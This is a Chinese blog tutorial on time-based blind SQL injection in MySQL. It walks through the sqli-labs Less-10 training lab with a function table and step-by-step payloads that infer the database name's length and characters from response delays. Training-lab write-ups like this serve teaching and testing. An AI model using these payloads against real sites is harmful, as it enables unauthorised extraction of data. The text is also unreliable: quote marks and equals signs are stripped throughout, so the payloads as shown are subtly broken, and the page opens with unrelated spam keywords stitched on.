免费上外国网站的浏览器,外包公司好吗,知末设计网官网,修改网站j广州网络公司关注这个漏洞的其他相关笔记#xff1a;SQL 注入漏洞 - 学习手册-CSDN博客 0x01#xff1a;时间盲注 —— 理论篇
时间盲注#xff08;Time-Based Blind SQL Injection#xff09;是一种常见的 SQL 注入技术#xff0c;适用于那些页面不会返回错误信息#xff0c;只会回… 关注这个漏洞的其他相关笔记SQL 注入漏洞 - 学习手册-CSDN博客 0x01时间盲注 —— 理论篇
时间盲注Time-Based Blind SQL Injection是一种常见的 SQL 注入技术适用于那些页面不会返回错误信息只会回显一种界面的情况。
时间盲注的攻击原理攻击者通过向 SQL 查询中注入特定的延时函数使数据库的查询时间变长从而根据页面响应时间的差异来推断攻击的结果是否成功。
0x0101MySQL 时间盲注 — 相关函数
下面介绍一些对 MySQL 数据库进行时间盲注时的相关函数及其使用示例
函数名函数解析用法示例sleep()使当前会话或连接暂停指定的秒数select sleep(3);benchmark()对一个表达式重复执行指定次数的计算select benchmark(10000, Now());if(条件, 结果1, 结果2)条件正确返回结果 1否则返回结果2select if(12, 3, 4);mid(string,start_pos,count)从 start_pos 开始截取 string 的 count 位字符。select mid(12,1,1);substr(string,start_pos,count)从 start_pos 开始截取 string 的 count 位字符。select substr(12,2,1);left(string,count)从左侧截取 string 的前 count 位字符。select left(123,2);length()返回字符串的长度select length(ni);ord()获取字符对应的 ASCII 码值select ord(A);ascii()获取字符对应的 ASCII 码值。select ascii(A);
0x02时间盲注 —— 实战篇
本节重点在于熟悉时间盲注的注入流程以及注入原理。练习靶场为 Sqli-labs Less-10 GET - Blind - Time based - Double Quotes靶场的配套资源如下附安装教程 实验工具准备 PHP 运行环境phpstudy_x64_8.1.1.3.zipPHP 7.X Apache MySQL SQLI LABS 靶场sqli-labs-php7.zip安装教程SQLI LABS 靶场安装 0x0201第一阶段 — 判断注入点 进入靶场靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询那我们就按它的意思传入 id 看看网页返回的结果 如上靶场返回了一段字符 You are in。似乎它是认可我们的操作了但我们并没有从中获取什么有用的信息。
接下来笔者又尝试给它传递了一个异常的值字符串类型 如上靶场依旧返回了 You are in。我们明明传递的是不符合要求的值结果它还是返回正常的结果这个本身就有问题。
为了摸清楚靶场的底线笔者这里又进行了一系列的测试 测试 Payload 1: ?id1 结果: You are in测试 Payload 2: ?id3-2 结果: You are in测试 Payload 3: ?id1 a 结果: You are in测试 Payload 4: ?id1a 结果: You are in测试 Payload 5: ?id1a 结果: You are in测试 Payload 6: ?idb)( 结果: You are in
可以看到这关就像是一个无底洞你给它啥它都会回应你 You are in你根本摸不透它。
此时我们需要转变一下测试思路You are in 是不是就是它的一个障眼法呢其实它已经背着我们偷偷执行了 SQL 语句但是由于一直都返回同样的结果导致我们无法发现呢。
面对上面这种情况我们就可以采用时间盲注的手段来看看它有没有偷偷背着我们干坏事了 知识拓展如何查看浏览器响应包加载速度 打开浏览器鼠标右击页面并选择 ”检查“打开 ”开发者工具“ 定位到 “网络NetWork” 菜单并刷新当前页面即可看到网页响应包的加载速度 测试 Payload 1: ?id1 and sleep(5) -- 结果: 24 ms 响应失败测试 Payload 2: ?id1 and sleep(5) -- 结果: 9 ms 响应失败测试 Payload 3: ?id1 and sleep(5) -- 结果: 5.02 s 响应成功 从上面的回显可以看出它果然背着我们偷偷的执行了 SQL 语句不过小动作还是被聪明的我们发现啦。
通过上面测试的 Payload我们已经可以确定了目标的 GET 型请求参数 id 处存在 SQL 注入漏洞且注入模板如下 注入模板: ?id1 and sleep(if(攻击语句,5,0)) --推测目标后端模板: select * from users where id1 and sleep(if(攻击语句,5,0)) --笔者备注: if(攻击语句,5,0) 这么写的原因是如果攻击成功则页面延时 5 秒返回否则无延时返回你失败的推测肯定比你正确的多这么写可以加快点速度。
0x0202第二阶段 — 时间盲注漏洞利用
本节中我们主要介绍如何通过时间盲注来获取目标数据库内的真实信息这里需要用到一些数据库的相关函数不了解的可以去文章开头的函数表格中查询用法。
1. 猜测数据库名长度
要获取数据库的真实信息我们就需要摸清当前数据库的结构。比如有哪些数据库每个数据库下有哪些表每张表中有哪些字段。
盲注中的服务器当然不会直接回显所以我们就需要自己构造 SQL 语句去猜啦。首先猜测数据库名称的长度知道长度后才好猜解每一位的内容 -- 猜测数据库名称长度为 1若返回为 True则证明猜测正确攻击 Payload 01: ?id1 and sleep(if(length(database())1,5,0)) --推测目标后端执行的语句: select * from users where id1 and sleep(if(length(database())1,5,0)) --攻击结果: 9 ms 响应失败-- 猜测数据库名称长度为 2若返回为 True则证明猜测正确攻击 Payload 02: ?id1 and sleep(if(length(database())2,5,0)) --推测目标后端执行的语句: select * from users where id1 and sleep(if(length(database())2,5,0)) --攻击结果: 10 ms 响应失败...-- 猜测数据库名称长度为 8若返回为 True则证明猜测正确攻击 Payload 08: ?id1 and sleep(if(length(database())8,5,0)) --推测目标后端执行的语句: select * from users where id1 and sleep(if(length(database())8,5,0)) --攻击结果: 5.01 s 响应成功 如上我们成功通过时间盲注响应包延时判断出了目标当前使用的数据库的名称长度为 8。
2. 猜解数据库名称
知道了目标当前使用的数据库的名称的长度后我们就可以一个字符一个字符的进行猜解了Payload 如下 -- 猜测数据库的第一个字符为 a若返回为 True则证明猜测正确攻击 Payload 01: ?id1 and sleep(if(mid(database(),1,1)a,5,0)) --推测目标后端执行的语句: select * from users where id1 and sleep(if(mid(database(),1,1)a,5,0)) --攻击结果: 11 ms 响应失败-- 猜测数据库的第一个字符为 b若返回为 True则证明猜测正确攻击 Payload 02: ?id1 and sleep(if(mid(database(),1,1)b,5,0)) --推测目标后端执行的语句: select * from users where id1 and sleep(if(mid(database(),1,1)b,5,0)) --攻击结果: 7 ms 响应失败...-- 猜测数据库的第一个字符为 s若返回为 True则证明猜测正确攻击 Payload 18: ?id1 and sleep(if(mid(database(),1,1)s,5,0)) --推测目标后端执行的语句: select * from users where id1 and sleep(if(mid(database(),1,1)s,5,0)) --攻击结果: 5.02 s 响应成功... 由于猜解需要的语句太多了所以笔者在这里就不一一列举了从上面的测试 Payload 中其实很好找到规律的。
3. 时间盲注后续流程
时间盲注的后续流程已经没有啥特别的了核心思想就在前面介绍的两步中了 获取你想要知道的信息的长度。 通过截取的方式利用延时函数配合布尔表达式获取每一位字符的内容。 将获取的每一位字符进行拼接最终得到你想要的内容。
所以笔者在这里就不花时间多讲解了相信聪明如你从上面的几个例子中已经可以领略到时间盲注的核心思想了时间盲注的利用手段其实跟 布尔盲注 很像不了解的可以去看一看。